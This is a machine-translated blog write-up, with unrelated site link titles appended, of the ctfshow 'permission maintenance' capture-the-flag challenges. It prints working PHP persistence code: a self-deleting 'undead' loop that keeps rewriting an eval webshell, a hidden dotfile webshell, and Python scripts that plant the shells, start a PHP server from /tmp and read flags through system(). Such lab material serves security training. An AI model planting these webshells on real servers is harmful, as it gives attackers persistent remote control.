当前位置:网站首页>Ctfshow permission maintenance
Ctfshow permission maintenance
2022-06-30 22:48:00 【yu22x】
List of articles
web670-web676
Topic in progress check after , All files in the root directory of the website will be deleted .
Method 1
The following commands are used for forecasting
echo 'flag{xxxx}' > /flag_xx.txt
rm -rf *
rm -rf * In fact, there is a small defect , Cannot delete a file that begins with a dot , So you can use the Trojan horse to generate a .shell.php Of Trojans ,check It will be retained later .
Method 2
Use bounce shell
But the title is not out of the net , So this method cannot be considered for the time being .
Method 3
You can use the undead horse to write the Trojan horse into memory .
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'shell.php';
$code = '<?php @eval($_POST[1]);?>';
while (1) {
file_put_contents($file, $code);
usleep(5000);
}
?>
Visit the undead horse , Trigger check, Then the ant sword connects shell.php You can get flag.
One click script
import requests
url="http://6143fdfc-94e3-4698-824f-f5da79a33081.challenge.ctf.show/"
data1={
'cmd':"file_put_contents('a.php',\"<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);\\$file = 'shell.php';\\$code = '<?php @eval(\\$_POST[1]);?>';while (1) {file_put_contents(\\$file, \\$code);usleep(5000);}?>\");"}
r=requests.post(url+'?action=cmd',data=data1)
try:
requests.get(url+'a.php',timeout=(1,1))
except:
requests.get(url+'?action=check')
r=requests.post(url+'shell.php',data={
'1':'system("cat /f*");'})
print(r.text)
web677、web678
It's a little different from the front , No write permission ( except /tmp Catalog )
guess check It's about generating flag Then delete all /var/www/html The files under the .
So we can pass while The cycle continues to open flag, When check when , The page will appear flag.
payloadcmd=system('while true;do cat /tmp/f*;done');
web679
check It will be closed after nginx php-fpm Etc , But we can use it php Command to start a service directly php -S 0.0.0.0:80, Which directory to run the command , Which directory is regarded as the root directory .
It's kind of like python Turn on web service python -m SimpleHTTPServer 80
The general flow is as follows :
1、/tmp The table of contents is writable , Generate Trojan files in this directory cmd=system('cd /tmp;echo "<?php eval(\$_POST[1]);?>" > index.php');
2、 Turn on web service cmd=system('cd /tmp;php -S 0.0.0.0:80');
3、 Trigger check
4、 Using Trojan horse
But in practical use, it will be found that , Manually opened web service check And then it will be stopped .
So we need to make sure that check Then turn it on web service , That is, add a delay .
import requests
url="http://b370b8d4-cdca-40dd-a3eb-6d6d4485965a.challenge.ctf.show/"
data1={
'cmd':"system('cd /tmp;echo \"<?php eval(\$_POST[1]);?>\" > index.php');"}
r=requests.post(url+'?action=cmd',data=data1)
data2={
'cmd':"system('sleep 3;cd /tmp;php -S 0.0.0.0:80');"}
try:
requests.post(url+'?action=cmd',data=data2,timeout=(1,1))
except:
requests.get(url+'?action=check')
while True:
r=requests.post(url,data={
'1':'system("cat /f*");'})
if "ctfshow{" in r.text:
print(r.text)
break
边栏推荐
- 2022-06-30: what does the following golang code output? A:0; B:2; C: Running error. package main import “fmt“ func main() { ints := make
- How do I open a stock account on my mobile phone? In addition, is it safe to open a mobile account?
- HP 惠普笔记本电脑 禁用触摸板 在插入鼠标后
- latex左侧大括号 latex中大括号多行公式
- 软件确认测试的内容和流程有哪些?确认测试报告需要多少钱?
- Nansen复盘加密巨头自救:如何阻止百亿多米诺倾塌
- Ride: get picture Base64
- Smart streetlights | cloud computing lights up the "spark" of smart cities
- 零样本和少样本学习
- [Android, kotlin, tflite] mobile device integration depth learning light model tflite (image classification)
猜你喜欢

Doker的容器数据卷

What if the taskbar is blank after win11 update? Solution to blank and stuck taskbar after win11 update
![[450. delete nodes in binary search tree]](/img/fd/bab2f92edeadd16263f15de6cc4420.png)
[450. delete nodes in binary search tree]

Introduction to machine learning compilation course learning notes lesson 2 tensor program abstraction
![[Android, kotlin, tflite] mobile device integration deep learning light model tflite (object detection)](/img/7e/3e6ebfb90a82249d934296a041ba21.png)
[Android, kotlin, tflite] mobile device integration deep learning light model tflite (object detection)

在线客服系统代码_h5客服_对接公众号_支持APP_支持多语言

KubeVela 1.4:让应用交付更安全、上手更简单、过程更透明

Fastjson V2 简单使用手册

How to design test cases

理想中的接口自动化项目
随机推荐
Femas:云原生多运行时微服务框架
部门新来了个阿里25K出来的,让我见识到了什么是天花板
Swift 5.0 - creation and use of swift framework
Redis - 01 缓存:如何利用读缓存提高系统性能?
软件确认测试的内容和流程有哪些?确认测试报告需要多少钱?
Spark - understand partitioner in one article
Yolo target detection
「团队训练赛」ShanDong Multi-University Training #3
图纸加密如何保障我们的核心图纸安全
How to develop the exchange system? Mature technology case of digital currency exchange system development
"Team training competition" Shandong multi university training 3
Tencent has been conducting advanced automated functional testing for 3 years. It is a gift to you who are confused in manual testing
JMeter cross thread parameter association requires no script
Discuz forum speed up to delete XXX under data/log PHP file
A new one from Ali 25K came to the Department, which showed me what the ceiling is
微信小程序中的数据双向绑定
手机上怎么开股票账户?另外,手机开户安全么?
电脑设备管理器在哪里可以找到
Redis' transaction and locking mechanism
Detailed explanation of conv2d of pytorch